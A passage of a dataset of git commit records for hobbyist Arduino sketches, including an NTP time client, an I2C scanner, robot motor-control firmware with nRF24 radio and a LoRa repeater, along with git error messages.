jve\/Arduino,eeijcea\/Arduino-1,jabezGit\/Arduino,shiitakeo\/Arduino,bsmr-arduino\/Arduino,eduardocasarin\/Arduino,toddtreece\/esp8266-Arduino,andyvand\/Arduino-1,me-no-dev\/Arduino-1,rcook\/DesignLab,HCastano\/Arduino,probonopd\/Arduino,myrtleTree33\/Arduino,fungxu\/Arduino,adafruit\/ESP8266-Arduino,henningpohl\/Arduino,jaimemaretoli\/Arduino,Chris--A\/Arduino,shiitakeo\/Arduino,plinioseniore\/Arduino,rcook\/DesignLab,rcook\/DesignLab,garci66\/Arduino,Ramoonus\/Arduino,odbol\/Arduino,PaintYourDragon\/Arduino,stevemarple\/Arduino-org,snargledorf\/Arduino,nkolban\/Arduino,NicoHood\/Arduino,karlitxo\/Arduino,NaSymbol\/Arduino,tannewt\/Arduino,paulo-raca\/ESP8266-Arduino,NaSymbol\/Arduino,UDOOboard\/Arduino,ikbelkirasan\/Arduino,tannewt\/Arduino,leftbrainstrain\/Arduino-ESP8266,tomkrus007\/Arduino,KlaasDeNys\/Arduino,linino\/Arduino,ari-analytics\/Arduino,aichi\/Arduino-2,ssvs111\/Arduino,ogahara\/Arduino,ashwin713\/Arduino,mangelajo\/Arduino,mangelajo\/Arduino,superboonie\/Arduino,talhaburak\/Arduino,tomkrus007\/Arduino,radut\/Arduino,arduino-org\/Arduino,paulmand3l\/Arduino,mattvenn\/Arduino,mangelajo\/Arduino,adafruit\/ESP8266-Arduino,zederson\/Arduino,PaoloP74\/Arduino,eggfly\/arduino,karlitxo\/Arduino,gestrem\/Arduino,noahchense\/Arduino-1,KlaasDeNys\/Arduino,linino\/Arduino,wayoda\/Arduino,cscenter\/Arduino,henningpohl\/Arduino,zenmanenergy\/Arduino,nandojve\/Arduino,gberl001\/Arduino,bugobliterator\/BUAGI,shannonshsu\/Arduino,plinioseniore\/Arduino,ForestNymph\/Arduino_sources,ektor5\/Arduino,PaoloP74\/Arduino,NeuralSpaz\/Arduino,shiitakeo\/Arduino,pdNor\/Arduino,UDOOboard\/Arduino,ogahara\/Arduino,ssvs111\/Arduino,tommyli2014\/Arduino,KlaasDeNys\/Arduino,radut\/Arduino,zaiexx\/Arduino,damellis\/Arduino,SmartArduino\/Arduino-1,laylthe\/Arduino,eggfly\/arduino,01org\/Arduino,mateuszdw\/Arduino,ari-analytics\/Arduino,onovy\/Arduino,karlitxo\/Arduino,plaintea\/esp8266-Arduino,eduardocasarin\/Arduino,Cloudino\/Cloudino-Arduino-IDE,bsmr-arduino\/Arduino,laylthe\/Arduino,niggor\/Arduino_cc,noahchense\/Arduino-1,onovy\/Arduino,laylthe\/Arduino,KlaasDeNys\/Arduino,gurbrinder\/Arduino,ikbelkirasan\/Arduino,danielchalef\/Arduino,eduardocasarin\/Arduino,Alfredynho\/AgroSis,PeterVH\/Arduino,championswimmer\/Arduino,stevemarple\/Arduino-org,mc-hamster\/esp8266-Arduino,probonopd\/Arduino,arunkuttiyara\/Arduino,mangelajo\/Arduino,ashwin713\/Arduino,arunkuttiyara\/Arduino,ashwin713\/Arduino,piersoft\/esp8266-Arduino,henningpohl\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,rodibot\/Arduino,jamesrob4\/Arduino,mattvenn\/Arduino,ikbelkirasan\/Arduino,myrtleTree33\/Arduino,gestrem\/Arduino,NaSymbol\/Arduino,stevemayhew\/Arduino,Protoneer\/Arduino,zederson\/Arduino,adamkh\/Arduino,mangelajo\/Arduino,stevemayhew\/Arduino,ntruchsess\/Arduino-1,tskurauskas\/Arduino,eddyst\/Arduino-SourceCode","old_file":"libraries\/WiFi\/examples\/WiFiUdpNtpClient\/WiFiUdpNtpClient.ino","new_file":"libraries\/WiFi\/examples\/WiFiUdpNtpClient\/WiFiUdpNtpClient.ino","new_contents":"\/*\n\n Udp NTP Client\n \n Get the time from a Network Time Protocol (NTP) time server\n Demonstrates use of UDP sendPacket and ReceivePacket \n For more on NTP time servers and the messages needed to communicate with them, \n see http:\/\/en.wikipedia.org\/wiki\/Network_Time_Protocol\n \n created 4 Sep 2010 \n by Michael Margolis\n modified 9 Apr 2012\n by Tom Igoe\n \n This code is in the public domain.\n \n *\/\n\n#include <SPI.h> \n#include <WiFi.h>\n#include <WiFiUdp.h>\n\nint status = WL_IDLE_STATUS;\nchar ssid[] = \"mynetwork\"; \/\/ your network SSID (name)\nchar pass[] = \"mypassword\"; \/\/ your network password\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nunsigned int localPort = 2390; \/\/ local port to listen for UDP packets\n\nIPAddress timeServer(129, 6, 15, 28); \/\/ time.nist.gov NTP server\n\nconst int NTP_PACKET_SIZE = 48; \/\/ NTP time stamp is in the first 48 bytes of the message\n\nbyte packetBuffer[ NTP_PACKET_SIZE]; \/\/buffer to hold incoming and outgoing packets \n\n\/\/ A UDP instance to let us send and receive packets over UDP\nWiFiUDP Udp;\n\nvoid setup() \n{\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\"); \n \/\/ don't continue:\n while(true);\n } \n\n\n \/\/ attempt to connect to Wifi network:\n while ( status != WL_CONNECTED) { \n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network: \n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n\n Serial.println(\"Connected to wifi\");\n printWifiStatus();\n\n Serial.println(\"\\nStarting connection to server...\");\n Udp.begin(localPort);\n}\n\nvoid loop()\n{\n sendNTPpacket(timeServer); \/\/ send an NTP packet to a time server\n \/\/ wait to see if a reply is available\n delay(1000); \n Serial.println( Udp.parsePacket() );\n if ( Udp.parsePacket() ) { \n Serial.println(\"packet received\"); \n \/\/ We've received a packet, read the data from it\n Udp.read(packetBuffer,NTP_PACKET_SIZE); \/\/ read the packet into the buffer\n\n \/\/the timestamp starts at byte 40 of the received packet and is four bytes,\n \/\/ or two words, long. First, esxtract the two words:\n\n unsigned long highWord = word(packetBuffer[40], packetBuffer[41]);\n unsigned long lowWord = word(packetBuffer[42], packetBuffer[43]); \n \/\/ combine the four bytes (two words) into a long integer\n \/\/ this is NTP time (seconds since Jan 1 1900):\n unsigned long secsSince1900 = highWord << 16 | lowWord; \n Serial.print(\"Seconds since Jan 1 1900 = \" );\n Serial.println(secsSince1900); \n\n \/\/ now convert NTP time into everyday time:\n Serial.print(\"Unix time = \");\n \/\/ Unix time starts on Jan 1 1970. In seconds, that's 2208988800:\n const unsigned long seventyYears = 2208988800UL; \n \/\/ subtract seventy years:\n unsigned long epoch = secsSince1900 - seventyYears; \n \/\/ print Unix time:\n Serial.println(epoch); \n\n\n \/\/ print the hour, minute and second:\n Serial.print(\"The UTC time is \"); \/\/ UTC is the time at Greenwich Meridian (GMT)\n Serial.print((epoch % 86400L) \/ 3600); \/\/ print the hour (86400 equals secs per day)\n Serial.print(':'); \n if ( ((epoch % 3600) \/ 60) < 10 ) {\n \/\/ In the first 10 minutes of each hour, we'll want a leading '0'\n Serial.print('0');\n }\n Serial.print((epoch % 3600) \/ 60); \/\/ print the minute (3600 equals secs per minute)\n Serial.print(':'); \n if ( (epoch % 60) < 10 ) {\n \/\/ In the first 10 seconds of each minute, we'll want a leading '0'\n Serial.print('0');\n }\n Serial.println(epoch %60); \/\/ print the second\n }\n \/\/ wait ten seconds before asking for the time again\n delay(10000); \n}\n\n\/\/ send an NTP request to the time server at the given address \nunsigned long sendNTPpacket(IPAddress& address)\n{\n \/\/Serial.println(\"1\");\n \/\/ set all bytes in the buffer to 0\n memset(packetBuffer, 0, NTP_PACKET_SIZE); \n \/\/ Initialize values needed to form NTP request\n \/\/ (see URL above for details on the packets)\n \/\/Serial.println(\"2\");\n packetBuffer[0] = 0b11100011; \/\/ LI, Version, Mode\n packetBuffer[1] = 0; \/\/ Stratum, or type of clock\n packetBuffer[2] = 6; \/\/ Polling Interval\n packetBuffer[3] = 0xEC; \/\/ Peer Clock Precision\n \/\/ 8 bytes of zero for Root Delay & Root Dispersion\n packetBuffer[12] = 49; \n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n \n \/\/Serial.println(\"3\");\n\n \/\/ all NTP fields have been given values, now\n \/\/ you can send a packet requesting a timestamp: \t\t \n Udp.beginPacket(address, 123); \/\/NTP requests are to port 123\n \/\/Serial.println(\"4\");\n Udp.write(packetBuffer,NTP_PACKET_SIZE);\n \/\/Serial.println(\"5\");\n Udp.endPacket(); \n \/\/Serial.println(\"6\");\n}\n\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/WiFi\/examples\/WiFiUdpNtpClient\/WiFiUdpNtpClient.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b56a7b0e6b8985e6d9521a7359d80709949dd6a3","subject":"Updated version number.","message":"Updated version number.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a6f955a074569292f44c2dc0b09023b92f6e8bf6","subject":"Change PID limit from 90 to 100","message":"Change PID limit from 90 to 100\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bbebecd187e39187d1421505e1615b6398d42e60","subject":"Basic sketch layout","message":"Basic sketch layout\n","repos":"fantawttw\/Arduino-Caravan-Thermostat,fantawttw\/Arduino-Caravan-Thermostat","old_file":"Caravan_Thermostat_TX\/Caravan_Thermostat_TX.ino","new_file":"Caravan_Thermostat_TX\/Caravan_Thermostat_TX.ino","new_contents":"\/* \n \nCaravan Thermostat TX\n\nCopyright 2016 Jon Burrows\n\n *\/\n\n\/\/ Setup the includes\n\n\/\/ Define the pins.\n\n\/\/ Create instances of the library\n\n\/\/ Define Global Variables\n \nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Caravan_Thermostat_TX\/Caravan_Thermostat_TX.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b1961a1b426cf79dfa2f966684d26c58af27c07","subject":"Hey it compiles! I'll try it out tomorrow morning. Current version does not yet calculate rpm from emf. Still have to come up with the constants 'rpm0' (theoretically zero, but might need wiggle room to fudge numbers) and 'k' for 'rpm = k*emf+rpm0' by using this program to compare measured rpm and emf. Also, it requires yet another circuit change. Am now measuring 3 node voltages instead of one, and putting shunt resistor into motor path to measure current. Probably should have done some testing before allowing this 'pared down' version to get as bloated as it has...","message":"Hey it compiles! I'll try it out tomorrow morning. Current version does not yet calculate rpm from emf. Still have to come up with the constants 'rpm0' (theoretically zero, but might need wiggle room to fudge numbers) and 'k' for 'rpm = k*emf+rpm0' by using this program to compare measured rpm and emf. Also, it requires yet another circuit change. Am now measuring 3 node voltages instead of one, and putting shunt resistor into motor path to measure current. Probably should have done some testing before allowing this 'pared down' version to get as bloated as it has...\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"668e462231b56b23b354b4db5e938ec35cb260f2","subject":"Create i2c_scanner.ino","message":"Create i2c_scanner.ino","repos":"volodink\/ishs-course","old_file":"code\/i2c_scanner.ino","new_file":"code\/i2c_scanner.ino","new_contents":"#include <Wire.h>\n\nvoid setup()\n{\n Wire.begin();\n \n Serial.begin(9600);\n while (!Serial); \/\/ Leonardo: wait for serial monitor\n Serial.println(\"\\nI2C Scanner\");\n}\n \n \nvoid loop() \n{\n byte error, address;\n int nDevices;\n \n Serial.println(\"Scanning...\");\n \n nDevices = 0;\n for(address = 1; address < 127; address++ )\n {\n \/\/ The i2c_scanner uses the return value of\n \/\/ the Write.endTransmisstion to see if\n \/\/ a device did acknowledge to the address.\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n \n if (error == 0)\n {\n Serial.print(\"I2C device found at address 0x\");\n if (address<16)\n Serial.print(\"0\");\n Serial.print(address,HEX);\n Serial.println(\" !\");\n \n nDevices++;\n }\n else if (error==4)\n {\n Serial.print(\"Unknow error at address 0x\");\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n }\n if (nDevices == 0)\n Serial.println(\"No I2C devices found\\n\");\n else\n Serial.println(\"done\\n\");\n \n delay(5000); \/\/ wait 5 seconds for next scan\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/i2c_scanner.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"739240f33b2ea900bfbb32bb4417f4a6a0220a54","subject":"firmware with debug mode","message":"firmware with debug mode\n","repos":"unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small","old_file":"firmware\/2017\/firmware_CCcontrol\/firmware_CCcontrol.ino","new_file":"firmware\/2017\/firmware_CCcontrol\/firmware_CCcontrol.ino","new_contents":"\n\/**********FIRMWARE PARA ESTUDO EM CONTROLE***********\/\n\/* http:\/\/www-personal.umich.edu\/~johannb\/Papers\/paper43.pdf\n * Usando a ideia de cross coupling control\n *\/\n\n\/*Encoder pins*\/\nint channelA = 3; \/\/TX = 3\nint channelB = 2; \/\/RX = 2\n\n\/*Motor pins*\/\nint PWMA = 9;\nint AIN1 = 7;\nint AIN2 = 8;\n\n\/\/int STBY = A3;\n\nint PWMB = 6;\/\/10\nint BIN1 = 5;\nint BIN2 = 4;\n\nvolatile long contadorA = 0;\nvolatile long contadorB = 0;\nvolatile long contador = 0;\nlong contadorA_media=0;\nlong contadorB_media=0;\nlong motorA_direction=0;\nlong motorB_direction=0;\nlong errorA_i=0;\nlong errorB_i=0;\nlong commandA_media=0;\nlong commandB_media=0;\n#include <SPI.h> \/\/for radio\n#include \"RF24.h\" \/\/ for radio\n\nint acc=0;\n\n\/************* USER Configuration *****************************\/\n\/***********radio***********\/\n\/*Radio pins*\/\nint CE = A0; \/\/pro micro\nint CS = 10; \/\/pro micro\n\/\/int CE = 3; \/\/nano\n\/\/int CS = 2; \/\/nano\n\n \nRF24 radio(CE,CS); \/\/ Set up nRF24L01 radio on SPI bus plus pins 3 & 2 for nano\n\n\nconst uint64_t pipes[2] = { 0xABCDABCD71LL, 0x544d52687CLL }; \/\/ Radio pipe addresses for the 2 nodes to communicate.\nuint64_t pipeEnvia=pipes[0];\nuint64_t pipeRecebe=pipes[1];\n\n\nstruct dataStruct{\n char data1;\n int data2;\n}myData;\n\nstruct dataStruct2{\n int motorA=0;\n int motorB=0;\n}velocidades;\n\n\n\/***************************************************************\/\n\n\nvoid setup(void) {\n\n Serial.begin(115200);\n \n \n radioSetup();\n motorsSetup();\n encodersSetup();\n \n Serial.println(\"Firwmare para estudo em controle\");\n Serial.println(\"Objetivo: implementar um cross coupling control\");\n Serial.println(\"Para testar:\");\n Serial.println(\"* radio OK\");\n Serial.println(\"* enconder OK\");\n Serial.println(\"* controle\");\n Serial.println(\"##############\");\n Serial.println();\n Serial.println();\n Serial.println();\n \n\n menu(); \/\/preicsa abrir o serial pelo computador\n \n}\n\nString inString = \"\"; \n\/\/loop para controlar a radio\n\nvoid stand(){\n int acc=0;\n \/\/Serial.println(\"aguardando mensagem, resete para retirar desse modo\");\n while(true){\n if(radio.available()){\n acc=0; \n int temp1=velocidades.motorA;\n int temp2=velocidades.motorB;\n while(radio.available()){ \n radio.read(&velocidades,sizeof(velocidades));\n }\n if(!(velocidades.motorA==temp1 && velocidades.motorB==temp2)){\n \/\/errorA_i=0;\n \/\/errorB_i=0; \n }\n }else{\n \/\/procedimento para indicar que o robo nao recebe mensagens nas ultimas 20000 iteracoes\n acc++;\n if(acc>20000){\n control(200,-200);\n }else{\n control(velocidades.motorA, velocidades.motorB);\n }\n }\n }\n}\n\n\nvoid loop(){\n stand();\n if (Serial.available()){\n char c = (Serial.read());\n Serial.println();\n\n switch(c){\n case '1':\n {\n menu();\n Serial.println();\n break;\n }\n case '2':\n {\n Serial.println(\"Verificando plataforma\");\n plataforma();\n break;\n }\n case '3':\n {\n Serial.println(\"Teste radio\");\n if(radio.isPVariant()){\n Serial.println(\"is PVariant\");\n }else{\n Serial.println(\"it is not PVariant\");\n }\n break;\n }\n case '4':\n {\n radio_status();\n break;\n }\n case '5':\n {\n Serial.println(radio.available());\n break;\n }\n case '6':\n {\n mandaMensagem();\n break;\n }\n case '7':\n {\n recebeMensagem();\n break;\n }\n case '8':\n {\n Serial.println(\"motor: [0,1]\");\n while(!Serial.available());\n int motor = int(toupper(Serial.read()))-48;\n Serial.println(motor);\n Serial.println(\"power: [0-255]\");\n \/\/ Read serial input:\n while(!Serial.available());\n while (Serial.available() > 0) {\n int inChar = Serial.read();\n if (isDigit(inChar)) {\n \/\/ convert the incoming byte to a char\n \/\/ and add it to the string:\n inString += (char)inChar;\n }\n }\n Serial.println(inString.toInt());\n move(motor, inString.toInt());\n inString = \"\";\n break;\n }\n case '9':\n {\n move(0, 0);\n move(1, 0);\n break;\n }\n case '0':\n {\n encoder();\n Serial.print(\"motor0: \");Serial.print(contadorA);Serial.print(\"\/\/\");Serial.print(contadorA_media);\n Serial.print(\" motor1: \");Serial.print(contadorB);Serial.print(\"\/\/\");Serial.println(contadorB_media);\n break;\n }\n case 'a':\n {\n Serial.println(\"velocidade em ticks por 10 milisegundos:\");\n while(true){\n \/\/ Read serial input:\n if(Serial.available()){\n inString = \"\";\n while (Serial.available() > 0) {\n int inChar = Serial.read();\n if (isDigit(inChar)) {\n \/\/ convert the incoming byte to a char\n \/\/ and add it to the string:\n inString += (char)inChar;\n }\n }\n Serial.println(inString.toInt());\n errorA_i=0;\n errorB_i=0;\n }\n control(inString.toInt(), inString.toInt()); \n }\n }\n case 'b':\n {\n stand();\n break;\n }\n case 'c':\n {\n levelocidades();\n break;\n }\n default:\n {\n Serial.println(\"opcao nao reconhecida\");\n break;\n }\n }\n }\n}\n\nvoid levelocidades(){\n if(radio.available()){\n while(radio.available()){ \n radio.read(&velocidades,sizeof(velocidades));\n }\n Serial.println(velocidades.motorA);\n Serial.println(velocidades.motorB);\n }\n}\n\n\nvoid control(int velocidadeA, int velocidadeB){\n if(velocidadeA || velocidadeB){\n encoder();\n Serial.print(\" motor0: \");Serial.print(contadorA);Serial.print(\"\/\/\");Serial.print(contadorA_media);\n Serial.print(\" motor1: \");Serial.print(contadorB);Serial.print(\"\/\/\");Serial.print(contadorB_media);\n long errorA=velocidadeA-contadorA_media;\n long errorB=velocidadeB-contadorB_media;\n errorA_i+=errorA;\n errorB_i+=errorB;\n\n \/\/saturar error integral\n \/*\n int limiteErroIntegral=100;\n if(errorA_i>limiteErroIntegral){\n errorA_i=limiteErroIntegral;\n }\n if(errorB_i>limiteErroIntegral){\n errorB_i=limiteErroIntegral;\n }\n if(errorA_i<-limiteErroIntegral){\n errorA_i=-limiteErroIntegral;\n }\n if(errorB_i<-limiteErroIntegral){\n errorB_i=-limiteErroIntegral;\n }\n *\/\n Serial.print(\" error:\");\n Serial.print(errorA);\n Serial.print(\"||\");\n Serial.print(errorB);\n \n long ke_a=1200;\n long ki_a=30;\n \n long ke_b=1200;\n long ki_b=30;\n\n long intermediarioA=0;\n intermediarioA=(ke_a*errorA)\/1000;\n intermediarioA+=(ki_a*errorA_i)\/1000;\n\n long intermediarioB=0;\n intermediarioB=(ke_b*errorB)\/1000;\n intermediarioB+=(ki_b*errorB_i)\/1000;\n\n int commandA=intermediarioA;\n int commandB=intermediarioB;\n commandA_media+=(commandA-commandA_media)\/10;\n commandB_media+=(commandB-commandB_media)\/10;\n\n if(commandA_media>255){\n commandA_media=255;\n }\n if(commandB_media>255){\n commandB_media=255;\n }\n \n move(0, commandA_media);\n move(1, commandB_media);\n Serial.print(\" commands \");\n Serial.print(commandA);Serial.print(\"\/\/\");Serial.print(commandA_media);\n Serial.print(\" \");Serial.print(commandB);Serial.print(\"\/\/\");Serial.println(commandB_media);\n }else{\n contadorA_media=0;\n contadorB_media=0;\n move(0,0);\n move(1,0);\n }\n}\n\nvoid menu(){\n Serial.println(\"Menu:\");\n Serial.println(\"1 - menu\");\n Serial.println(\"2 - plataforma\");\n Serial.println(\"3 - teste radio (pvariant test)\");\n Serial.println(\"4 - radio config\");\n Serial.println(\"5 - verificar se existe mensagem\");\n Serial.println(\"6 - mandar mensagem\");\n Serial.println(\"7 - ler mensagem\");\n Serial.println(\"8 - move motor\");\n Serial.println(\"9 - parar todos os motores\");\n Serial.println(\"0 - enconder\");\n Serial.println(\"a - controle de velocidade por ticks por 10 milisegundos\");\n Serial.println(\"b - standAlone\");\n Serial.println(\"c - ler mensagem de velocidade\");\n \n}\n\nvoid recebeMensagem(){\n if(radio.available()){\n while(radio.available()){ \n radio.read(&myData,sizeof(myData));\n }\n Serial.print(\"mensagem: \");\n Serial.println(myData.data1);\n }\n}\n\nvoid mandaMensagem(){\n Serial.println(\"Escreva 1 caractere\");\n while(!Serial.available());\n \n char c = toupper(Serial.read());\n myData.data1=c;\n radio.stopListening();\n radio.enableDynamicAck(); \/\/essa funcao precisa andar colada na de baixo\n radio.write(&myData,sizeof(myData), 1); \/\/lembrar que precisa enableDynamicAck antes\n \/\/ 1-NOACK, 0-ACK\n radio.startListening(); \n Serial.println(c);\n}\n\nvoid radio_status(){\n Serial.print(\"CE: \");\n Serial.println(CE);\n Serial.print(\"CS: \");\n Serial.println(CS);\n \n Serial.print(\"Channel: \");\n Serial.print(radio.getChannel());\n Serial.println(\" 0-125\");\n Serial.print(\"PALevel: \");\n Serial.print(radio.getPALevel());\n Serial.println(\" 0-3\");\n Serial.print(\"DataRate: \");\n Serial.print(radio.getDataRate());\n Serial.println(\" 0->1MBPS, 1->2MBPS, 2->250KBPS\");\n Serial.println();\n Serial.print(\"Enviar por: \");\n Serial.println(int(pipeEnvia));\n Serial.print(\"Recebe por: \");\n Serial.println(int(pipeRecebe));\n Serial.print(\"Payload size: \");\n Serial.println(radio.getPayloadSize());\n\n}\n\nvoid plataforma(){\n Serial.println(\"Plataforma arduino pro micro\");\n unsigned long time=millis();\n Serial.println(time);\n}\n\nvoid move(int motor, int power) {\n \/\/digitalWrite(STBY, HIGH);\n int pin1, pin2;\n int PWM;\n if (motor == 0) {\n pin1 = AIN1;\n pin2 = AIN2;\n PWM = PWMA;\n }\n else {\n pin1 = BIN1;\n pin2 = BIN2;\n PWM = PWMB; \n }\n \n \/\/power = map(power,-100,100,-255,255);\n if(power>255) {\n power=255;\n Serial.print(\"SATURADO!\");\n }\n if(power<-255){\n power=-255;\n Serial.print(\"SATURADO!\");\n }\n int power_magnitude = abs(power);\n if(motor==0){\n motorA_direction=(power > 0 ? 1:-1);\n }else{\n motorB_direction=(power > 0 ? 1:-1);\n }\n int motor_direction = (power > 0 ? 0:1);\n\n boolean inPin1 = LOW;\n boolean inPin2 = HIGH;\n\n if (motor_direction == 0) {\n inPin1 = HIGH;\n inPin2 = LOW;\n }\n\n digitalWrite(pin1, inPin1);\n digitalWrite(pin2, inPin2);\n analogWrite(PWM, abs(power));\n}\n\nvoid motorsSetup(){ \n pinMode(PWMA, OUTPUT);\n pinMode(AIN1, OUTPUT);\n pinMode(BIN1, OUTPUT);\n\n \/\/pinMode(STBY, OUTPUT);\n \n pinMode(PWMB, OUTPUT);\n pinMode(BIN1, OUTPUT);\n pinMode(BIN2, OUTPUT);\n \n}\n\nvoid radioSetup(){\n radio.begin(); \/\/ inicializa radio\n radio.setChannel(108); \/\/muda para um canal de frequencia diferente de 2.4Ghz\n radio.setPALevel(RF24_PA_MAX); \/\/usa potencia maxima\n radio.setDataRate(RF24_2MBPS); \/\/usa velocidade de transmissao maxima\n\n radio.openWritingPipe(pipeEnvia); \/\/escreve pelo pipe0\n radio.openReadingPipe(1,pipeRecebe); \/\/escuta pelo pipe1\n\n radio.enableDynamicPayloads(); \/\/ativa payloads dinamicos(pacote tamamhos diferentes do padrao)\n radio.setPayloadSize(sizeof(velocidades)); \/\/ajusta os o tamanho dos pacotes ao tamanho da mensagem\n \n radio.startListening(); \/\/ Start listening\n}\n\n\/**********************ENCONDER********************\/\n\n\nvoid encodersSetup() {\n pinMode(channelA, INPUT); \n pinMode(channelB, INPUT);\n}\n\nvoid soma(){\n contador++;\n}\n\nvoid interruptEncoderPins(int channel, volatile long &contador_i) {\n contador = 0;\n attachInterrupt(channel, soma, RISING);\n delay(10);\n detachInterrupt(channel);\n contador_i = contador; \n}\n\nvoid encoder() {\n interruptEncoderPins(channelA, contadorA);\n interruptEncoderPins(channelB, contadorB);\n\n contadorA_media+=(motorA_direction*contadorA-contadorA_media)\/10;\n contadorB_media+=(motorB_direction*contadorB-contadorB_media)\/10;\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/2017\/firmware_CCcontrol\/firmware_CCcontrol.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bbe3c070f6375923b4d4c47cfd7208e3141e1e04","subject":"Create LORA_repeater_bot.ino","message":"Create LORA_repeater_bot.ino","repos":"AlcorDust\/LORA_stuff,AlcorDust\/LORA_stuff","old_file":"LORA_Repeater\/LORA_repeater_bot.ino","new_file":"LORA_Repeater\/LORA_repeater_bot.ino","new_contents":"#include <RHReliableDatagram.h>\n#include <RH_RF95.h>\n#include <SPI.h>\n\n#define MY_ADDRESS 1\n#define TARGET_ADDRESS 2\n#define MAX_LEN 40\n\nRH_RF95 driver;\nRHReliableDatagram manager(driver, MY_ADDRESS);\n\nbool check = 0;\nuint8_t data[MAX_LEN];\nuint8_t buf[RH_RF95_MAX_MESSAGE_LEN];\n\nString outstr=\"\";\nint SNR;\nchar ricevuto[MAX_LEN];\n\nvoid setup() {\n\n manager.init();\n driver.setTxPower(23, false);\n\n \/\/Serial.begin(9600);\n\n}\n\nvoid loop() {\n\n if (manager.available()) {\n\n uint8_t len = sizeof(buf);\n uint8_t from;\n\n check = manager.recvfromAckTimeout(buf, &len, 2000, &from);\n\n \/\/Serial.println((char*)buf);\n \n if (check) {\n\n SNR = driver.lastSNR();\n\n outstr = \"A,\";\n outstr.concat((char*)buf);\n outstr.concat(\",\");\n outstr.concat(SNR);\n outstr.concat(\",Z\");\n outstr.getBytes(data, outstr.length()+10);\n \n manager.sendtoWait(data, sizeof(data), TARGET_ADDRESS);\n\n check = 0;\n\n }\n\n } \/\/ Manager available\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LORA_Repeater\/LORA_repeater_bot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0519e604ada17af55bfb8dbb5390c0f77a95470","subject":"RGB led controlled over ethernet added","message":"RGB led controlled over ethernet added\n","repos":"jlanatta\/arduino_samples,jlanatta\/arduino_samples","old_file":"b_rgb_led_2_ethernet\/b_rgb_led_2_ethernet.ino","new_file":"b_rgb_led_2_ethernet\/b_rgb_led_2_ethernet.ino","new_contents":"#include <Wire.h> \/\/ Comes with Arduino IDE\n#include <LiquidCrystal_I2C.h>\n#include <SPI.h>\n#include <Ethernet.h>\n\n#define RED_PIN 3\n#define GREEN_PIN 6\n#define BLUE_PIN 5\n\nLCD *lcd = new LiquidCrystal_I2C(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\n\nint pins[3] = {RED_PIN, GREEN_PIN, BLUE_PIN};\nint values[3] = {0, 0, 0};\nint previousValues[3] = {0, 0, 0};\n\nint index = 0;\nbool directionUp = true;\n\nEthernetServer server(1000);\n\nvoid setup() {\n Serial.begin(9600);\n lcd->begin(20, 4);\n \n byte mac[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};\n 